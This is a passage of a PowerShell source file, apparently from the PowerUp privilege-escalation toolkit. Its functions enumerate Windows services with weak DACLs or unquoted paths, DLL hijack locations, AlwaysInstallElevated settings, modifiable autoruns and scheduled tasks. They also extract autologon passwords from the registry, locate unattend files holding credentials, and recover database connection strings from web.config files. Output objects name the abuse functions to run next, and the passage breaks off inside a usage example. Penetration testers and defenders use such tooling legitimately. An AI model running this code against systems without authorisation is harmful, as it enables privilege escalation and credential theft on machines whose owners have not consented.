Add-Member Noteproperty 'SID' $SidString + # cast the atttributes field as our SidAttributes enum + $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes) + $GroupSid + } + } + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr) + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } +} + + +function Add-ServiceDacl { +<# + .SYNOPSIS + + Adds a Dacl field to a service object returned by Get-Service. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + + .DESCRIPTION + + Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a + Dacl field to each object. It does this by opening a handle with ReadControl for the + service with using the GetServiceHandle Win32 API call and then uses + QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + + .PARAMETER Name + + An array of one or more service names to add a service Dacl for. Passable on the pipeline. + + .EXAMPLE + + PS C:\> Get-Service | Add-ServiceDacl + + Add Dacls for every service the current user can read. + + .EXAMPLE + + PS C:\> Get-Service -Name VMTools | Add-ServiceDacl + + Add the Dacl to the VMTools service object. + + .OUTPUTS + + ServiceProcess.ServiceController + + .LINK + + https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +#> + + [OutputType('ServiceProcess.ServiceController')] + param ( + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] + [String[]] + [ValidateNotNullOrEmpty()] + $Name + ) + + BEGIN { + filter Local:Get-ServiceReadControlHandle { + [OutputType([IntPtr])] + param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + [ValidateScript({ $_ -as 'ServiceProcess.ServiceController' })] + $Service + ) + + $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic') + + $ReadControl = 0x00020000 + + $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl)) + + $RawHandle + } + } + + PROCESS { + ForEach($ServiceName in $Name) { + + $IndividualService = Get-Service -Name $ServiceName -ErrorAction Stop + + try { + Write-Verbose "Add-ServiceDacl IndividualService : $($IndividualService.Name)" + $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService + } + catch { + $ServiceHandle = $Null + Write-Verbose "Error opening up the service handle with read control for $($IndividualService.Name) : $_" + } + + if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { + $SizeNeeded = 0 + + $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, @(), 0, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + # 122 == The data area passed to a system call is too small + if ((-not $Result) -and ($LastError -eq 122) -and ($SizeNeeded -gt 0)) { + $BinarySecurityDescriptor = New-Object Byte[]($SizeNeeded) + + $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, $BinarySecurityDescriptor, $BinarySecurityDescriptor.Count, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if (-not $Result) { + Write-Error ([ComponentModel.Win32Exception] $LastError) + } + else { + $RawSecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $BinarySecurityDescriptor, 0 + $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object { + Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value ($_.AccessMask -as $ServiceAccessRights) -PassThru + } + + Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru + } + } + else { + Write-Error ([ComponentModel.Win32Exception] $LastError) + } + + $Null = $Advapi32::CloseServiceHandle($ServiceHandle) + } + } + } +} + +function Test-ServiceDaclPermission { +<# + .SYNOPSIS + + Tests one or more passed services or service names against a given permission set, + returning the service objects where the current user have the specified permissions. + + Author: @harmj0y, Matthew Graeber (@mattifestation) + License: BSD 3-Clause + + .DESCRIPTION + + Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds + a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current + user are enumerated services where the user has some type of permission are filtered. The + services are then filtered against a specified set of permissions, and services where the + current user have the specified permissions are returned. + + .PARAMETER Name + + An array of one or more service names to test against the specified permission set. + + .PARAMETER Permissions + + A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus', + 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', + 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', + 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' + + .PARAMETER PermissionSet + + A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'. + + .OUTPUTS + + ServiceProcess.ServiceController + + .EXAMPLE + + PS C:\> Get-Service | Test-ServiceDaclPermission + + Return all service objects where the current user can modify the service configuration. + + .EXAMPLE + + PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart' + + Return all service objects that the current user can restart. + + + .EXAMPLE + + PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC' + + Return the VulnSVC object if the current user has start permissions. + + .LINK + + https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +#> + + [OutputType('ServiceProcess.ServiceController')] + param ( + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] + [String[]] + [ValidateNotNullOrEmpty()] + $Name, + + [String[]] + [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')] + $Permissions, + + [String] + [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')] + $PermissionSet = 'ChangeConfig' + ) + + BEGIN { + $AccessMask = @{ + 'QueryConfig' = [uint32]'0x00000001' + 'ChangeConfig' = [uint32]'0x00000002' + 'QueryStatus' = [uint32]'0x00000004' + 'EnumerateDependents' = [uint32]'0x00000008' + 'Start' = [uint32]'0x00000010' + 'Stop' = [uint32]'0x00000020' + 'PauseContinue' = [uint32]'0x00000040' + 'Interrogate' = [uint32]'0x00000080' + 'UserDefinedControl' = [uint32]'0x00000100' + 'Delete' = [uint32]'0x00010000' + 'ReadControl' = [uint32]'0x00020000' + 'WriteDac' = [uint32]'0x00040000' + 'WriteOwner' = [uint32]'0x00080000' + 'Synchronize' = [uint32]'0x00100000' + 'AccessSystemSecurity' = [uint32]'0x01000000' + 'GenericAll' = [uint32]'0x10000000' + 'GenericExecute' = [uint32]'0x20000000' + 'GenericWrite' = [uint32]'0x40000000' + 'GenericRead' = [uint32]'0x80000000' + 'AllAccess' = [uint32]'0x000F01FF' + } + + $CheckAllPermissionsInSet = $False + + if($PSBoundParameters['Permissions']) { + $TargetPermissions = $Permissions + } + else { + if($PermissionSet -eq 'ChangeConfig') { + $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess') + } + elseif($PermissionSet -eq 'Restart') { + $TargetPermissions = @('Start', 'Stop') + $CheckAllPermissionsInSet = $True # so we check all permissions && style + } + elseif($PermissionSet -eq 'AllAccess') { + $TargetPermissions = @('GenericAll', 'AllAccess') + } + } + } + + PROCESS { + + ForEach($IndividualService in $Name) { + + $TargetService = $IndividualService | Add-ServiceDacl + + if($TargetService -and $TargetService.Dacl) { + + # enumerate all group SIDs the current user is a part of + $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value + $CurrentUserSids += $UserIdentity.User.Value + + ForEach($ServiceDacl in $TargetService.Dacl) { + if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) { + + if($CheckAllPermissionsInSet) { + $AllMatched = $True + ForEach($TargetPermission in $TargetPermissions) { + # check permissions && style + if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) { + # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" + $AllMatched = $False + break + } + } + if($AllMatched) { + $TargetService + } + } + else { + ForEach($TargetPermission in $TargetPermissions) { + # check permissions || style + if (($ServiceDacl.AceType -eq 'AccessAllowed') -and ($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { + Write-Verbose "Current user has '$TargetPermission' for $IndividualService" + $TargetService + break + } + } + } + } + } + } + else { + Write-Verbose "Error enumerating the Dacl for service $IndividualService" + } + } + } +} + + +######################################################## +# +# Service enumeration +# +######################################################## + +function Get-ServiceUnquoted { +<# + .SYNOPSIS + + Returns the name and binary path for services with unquoted paths + that also have a space in the name. + + .EXAMPLE + + PS C:\> $services = Get-ServiceUnquoted + + Get a set of potentially exploitable services. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb +#> + [CmdletBinding()] param() + + # find all paths to service .exe's that have a space in the path and aren't quoted + $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"} + + if ($VulnServices) { + ForEach ($Service in $VulnServices) { + + $ModifiableFiles = $Service.pathname.split(' ') | Get-ModifiablePath + + $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name + + if($ServiceRestart) { + $CanRestart = $True + } + else { + $CanRestart = $False + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $Service.name + $Out | Add-Member Noteproperty 'Path' $Service.pathname + $Out | Add-Member Noteproperty 'ModifiablePath' $_ + $Out | Add-Member Noteproperty 'StartName' $Service.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path " + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out + } + } + } +} + + +function Get-ModifiableServiceFile { +<# + .SYNOPSIS + + Enumerates all services and returns vulnerable service files. + + .DESCRIPTION + + Enumerates all services by querying the WMI win32_service class. For each service, + it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine + if the current user has rights to modify the service binary itself or any associated + arguments. If the associated binary (or any configuration files) can be overwritten, + privileges may be able to be escalated. + + .EXAMPLE + + PS C:\> Get-ModifiableServiceFile + + Get a set of potentially exploitable service binares/config files. +#> + [CmdletBinding()] param() + + Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { + + $ServiceName = $_.name + $ServicePath = $_.pathname + $ServiceStartName = $_.startname + + $ServicePath | Get-ModifiablePath | ForEach-Object { + + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName + + if($ServiceRestart) { + $CanRestart = $True + } + else { + $CanRestart = $False + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'Path' $ServicePath + $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath + $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $($_.Permissions -join ", ") + $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference + $Out | Add-Member Noteproperty 'StartName' $ServiceStartName + $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -Name '$ServiceName'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out + } + } +} + + +function Get-ModifiableService { +<# + .SYNOPSIS + + Enumerates all services and returns services for which the current user can modify the binPath. + + .DESCRIPTION + + Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if + the current user has rights to change the service configuration. + + .EXAMPLE + + PS C:\> Get-ModifiableService + + Get a set of potentially exploitable services. +#> + [CmdletBinding()] param() + + Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { + + $ServiceDetails = $_ | Get-ServiceDetail + + $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' + + if($ServiceRestart) { + $CanRestart = $True + } + else { + $CanRestart = $False + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name + $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname + $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out + } +} + + +function Get-ServiceDetail { +<# + .SYNOPSIS + + Returns detailed information about a specified service by querying the + WMI win32_service class for the specified service name. + + .DESCRIPTION + + Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on + the pipeline object returned by Get-Service, extracts out the service name, queries the + WMI win32_service class for the specified service for details like binPath, and outputs + everything. + + .PARAMETER Name + + An array of one or more service names to query information for. + + .EXAMPLE + + PS C:\> Get-ServiceDetail -Name VulnSVC + + Gets detailed information about the 'VulnSVC' service. + + .EXAMPLE + + PS C:\> Get-Service VulnSVC | Get-ServiceDetail + + Gets detailed information about the 'VulnSVC' service. +#> + + param ( + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] + [String[]] + [ValidateNotNullOrEmpty()] + $Name + ) + + PROCESS { + + ForEach($IndividualService in $Name) { + + $TargetService = Get-Service -Name $IndividualService + + Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object { + try { + $_ + } + catch{ + Write-Verbose "Error: $_" + $null + } + } + } + } +} + + +######################################################## +# +# DLL Hijacking +# +######################################################## + +function Find-ProcessDLLHijack { +<# + .SYNOPSIS + + Finds all DLL hijack locations for currently running processes. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + Enumerates all currently running processes with Get-Process (or accepts an + input process object from Get-Process) and enumerates the loaded modules for each. + All loaded module name exists outside of the process binary base path, as those + are DLL load-order hijack candidates. + + .PARAMETER Name + + The name of a process to enumerate for possible DLL path hijack opportunities. + + .PARAMETER ExcludeWindows + + Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* + + .PARAMETER ExcludeProgramFiles + + Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* + + .PARAMETER ExcludeOwned + + Exclude processes the current user owns. + + .EXAMPLE + + PS C:\> Find-ProcessDLLHijack + + Finds possible hijackable DLL locations for all processes. + + .EXAMPLE + + PS C:\> Get-Process VulnProcess | Find-ProcessDLLHijack + + Finds possible hijackable DLL locations for the 'VulnProcess' processes. + + .EXAMPLE + + PS C:\> Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles + + Finds possible hijackable DLL locations not in C:\Windows\* and + not in C:\Program Files\* or C:\Program Files (x86)\* + + .EXAMPLE + + PS C:\> Find-ProcessDLLHijack -ExcludeOwned + + Finds possible hijackable DLL location for processes not owned by the + current user. + + .LINK + + https://www.mandiant.com/blog/malware-persistence-windows-registry/ +#> + + [CmdletBinding()] + Param( + [Parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ProcessName')] + [String[]] + $Name = $(Get-Process | Select-Object -Expand Name), + + [Switch] + $ExcludeWindows, + + [Switch] + $ExcludeProgramFiles, + + [Switch] + $ExcludeOwned + ) + + BEGIN { + # the known DLL cache to exclude from our findings + # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx + $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs") + $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName) }) | Where-Object { $_.EndsWith(".dll") } + $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name + + # get the owners for all processes + $Owners = @{} + Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user } + } + + PROCESS { + + ForEach ($ProcessName in $Name) { + + $TargetProcess = Get-Process -Name $ProcessName + + if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) { + + try { + $BasePath = $TargetProcess.Path | Split-Path -Parent + + $LoadedModules = $TargetProcess.Modules + + $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] + + ForEach ($Module in $LoadedModules){ + + $ModulePath = "$BasePath\$($Module.ModuleName)" + + # if the module path doesn't exist in the process base path folder + if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { + + $Exclude = $False + + if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { + $Exclude = $True + } + + if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { + $Exclude = $True + } + + if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { + $Exclude = $True + } + + # output the process name and hijackable path if exclusion wasn't marked + if (-not $Exclude){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName + $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path + $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner + $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath + $Out + } + } + } + } + catch { + Write-Verbose "Error: $_" + } + } + } + } +} + + +function Find-PathDLLHijack { +<# + .SYNOPSIS + + Finds all directories in the system %PATH% that are modifiable by the current user. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath + to return the folder paths the current user can write to. On Windows 7, if wlbsctrl.dll is + written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search + order loading. + + .EXAMPLE + + PS C:\> Find-PathDLLHijack + + Finds all %PATH% .DLL hijacking opportunities. + + .LINK + + http://www.greyhathacker.net/?p=738 +#> + + [CmdletBinding()] + Param() + + # use -LiteralPaths so the spaces in %PATH% folders are not tokenized + Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + $TargetPath = $_ + + $ModifiablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')} + ForEach($ModifiablePath in $ModifiablePaths) { + if($ModifiablePath.ModifiablePath -ne $Null) { + $ModifiablePath | Add-Member Noteproperty '%PATH%' $_ + $ModifiablePath.Permissions = $ModifiablePath.permissions -join ', ' + $ModifiablePath + } + } + } +} + + +######################################################## +# +# Registry Checks +# +######################################################## + +function Get-RegistryAlwaysInstallElevated { +<# + .SYNOPSIS + + Checks if any of the AlwaysInstallElevated registry keys are set. + + .DESCRIPTION + + Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated + or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys + are set, $False otherwise. If one of these keys are set, then all .MSI files run with + elevated permissions, regardless of current user permissions. + + .EXAMPLE + + PS C:\> Get-RegistryAlwaysInstallElevated + + Returns $True if any of the AlwaysInstallElevated registry keys are set. +#> + + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + if (Test-Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer") { + + $HKLMval = (Get-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + Write-Verbose "HKLMval: $($HKLMval.AlwaysInstallElevated)" + + if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){ + + $HKCUval = (Get-ItemProperty -Path "HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)" + + if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){ + Write-Verbose "AlwaysInstallElevated enabled on this machine!" + $True + } + else{ + Write-Verbose "AlwaysInstallElevated not enabled on this machine." + $False + } + } + else{ + Write-Verbose "AlwaysInstallElevated not enabled on this machine." + $False + } + } + else{ + Write-Verbose "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist" + $False + } + + $ErrorActionPreference = $OrigError +} + + +function Get-RegistryAutoLogon { +<# + .SYNOPSIS + + Finds any autologon credentials left in the registry. + + .DESCRIPTION + + Checks if any autologon accounts/credentials are set in a number of registry locations. + If they are, the credentials are extracted and returned as a custom PSObject. + + .EXAMPLE + + PS C:\> Get-RegistryAutoLogon + + Finds any autologon credentials left in the registry. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb +#> + + [CmdletBinding()] + Param() + + $AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue) + + Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)" + + if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) { + + $DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName + $DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName + $DefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword + $AltDefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultDomainName -ErrorAction SilentlyContinue).AltDefaultDomainName + $AltDefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultUserName -ErrorAction SilentlyContinue).AltDefaultUserName + $AltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword + + if ($DefaultUserName -or $AltDefaultUserName) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'DefaultDomainName' $DefaultDomainName + $Out | Add-Member Noteproperty 'DefaultUserName' $DefaultUserName + $Out | Add-Member Noteproperty 'DefaultPassword' $DefaultPassword + $Out | Add-Member Noteproperty 'AltDefaultDomainName' $AltDefaultDomainName + $Out | Add-Member Noteproperty 'AltDefaultUserName' $AltDefaultUserName + $Out | Add-Member Noteproperty 'AltDefaultPassword' $AltDefaultPassword + $Out + } + } +} + +function Get-ModifiableRegistryAutoRun { +<# + .SYNOPSIS + + Returns any elevated system autoruns in which the current user can + modify part of the path string. + + .DESCRIPTION + + Enumerates a number of autorun specifications in HKLM and filters any + autoruns through Get-ModifiablePath, returning any file/config locations + in the found path strings that the current user can modify. + + .EXAMPLE + + PS C:\> Get-ModifiableRegistryAutoRun + + Return vulneable autorun binaries (or associated configs). +#> + + [CmdletBinding()] + Param() + + $SearchLocations = @( "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce", + "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService", + "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService" + ) + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { + + $Keys = Get-Item -Path $_ + $ParentPath = $_ + + ForEach ($Name in $Keys.GetValueNames()) { + + $Path = $($Keys.GetValue($Name)) + + $Path | Get-ModifiablePath | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name" + $Out | Add-Member Noteproperty 'Path' $Path + $Out | Add-Member Noteproperty 'ModifiableFile' $_ + $Out + } + } + } + + $ErrorActionPreference = $OrigError +} + + +######################################################## +# +# Miscellaneous checks +# +######################################################## + +function Get-ModifiableScheduledTaskFile { +<# + .SYNOPSIS + + Returns scheduled tasks where the current user can modify any file + in the associated task action string. + + .DESCRIPTION + + Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks" + and parses the XML specification for each task, extracting the command triggers. + Each trigger string is filtered through Get-ModifiablePath, returning any file/config + locations in the found path strings that the current user can modify. + + .EXAMPLE + + PS C:\> Get-ModifiableScheduledTaskFile + + Return scheduled tasks with modifiable command strings. +#> + + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $Path = "$($ENV:windir)\System32\Tasks" + + # recursively enumerate all schtask .xmls + Get-ChildItem -Path $Path -Recurse | Where-Object { -not $_.PSIsContainer } | ForEach-Object { + try { + $TaskName = $_.Name + $TaskXML = [xml] (Get-Content $_.FullName) + if($TaskXML.Task.Triggers) { + + $TaskTrigger = $TaskXML.Task.Triggers.OuterXML + + # check schtask command + $TaskXML.Task.Actions.Exec.Command | Get-ModifiablePath | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'TaskName' $TaskName + $Out | Add-Member Noteproperty 'TaskFilePath' $_ + $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger + $Out + } + + # check schtask arguments + $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiablePath | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'TaskName' $TaskName + $Out | Add-Member Noteproperty 'TaskFilePath' $_ + $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger + $Out + } + } + } + catch { + Write-Verbose "Error: $_" + } + } + + $ErrorActionPreference = $OrigError +} + + +function Get-UnattendedInstallFile { +<# + .SYNOPSIS + + Checks several locations for remaining unattended installation files, + which may have deployment credentials. + + .EXAMPLE + + PS C:\> Get-UnattendedInstallFile + + Finds any remaining unattended installation files. + + .LINK + + http://www.fuzzysecurity.com/tutorials/16.html +#> + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $SearchLocations = @( "c:\sysprep\sysprep.xml", + "c:\sysprep\sysprep.inf", + "c:\sysprep.inf", + (Join-Path $Env:WinDir "\Panther\Unattended.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend\Unattended.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend\Unattend.xml"), + (Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"), + (Join-Path $Env:WinDir "\System32\Sysprep\Panther\unattend.xml") + ) + + # test the existence of each path and return anything found + $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'UnattendPath' $_ + $Out + } + + $ErrorActionPreference = $OrigError +} + + +function Get-WebConfig { +<# + .SYNOPSIS + + This script will recover cleartext and encrypted connection strings from all web.config + files on the system. Also, it will decrypt them if needed. + + Author: Scott Sutherland - 2014, NetSPI + Author: Antti Rantasaari - 2014, NetSPI + + .DESCRIPTION + + This script will identify all of the web.config files on the system and recover the + connection strings used to support authentication to backend databases. If needed, the + script will also decrypt the connection strings on the fly. The output supports the + pipeline which can be used to convert all of the results into a pretty table by piping + to format-table. + + .EXAMPLE + + Return a list of cleartext and decrypted connect strings from web.config files. + + PS C:\> Get-WebConfig + user : s1admin + pass : s1password + dbserv : 192.168.1.103\server1 + vdir : C:\test2 + path : C:\test2\web.config + encr : No + + user : s1user + pass : s1password + dbserv : 192.168.1.103\server1 + vdir : C:\inetpub\wwwroot + path : C:\inetpub\wwwroot\web.config + encr : Yes + + .EXAMPLE + + Return a list of clear text and decrypted connect strings from web.config files. + + PS C:\>get-webconfig | Format-Table -Autosize + + user pass dbserv vdir path encr + ---- ---- ------ ---- ---- ---- + s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No + s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No + s2user s2password 192.168.1.102\server2 C:\App2 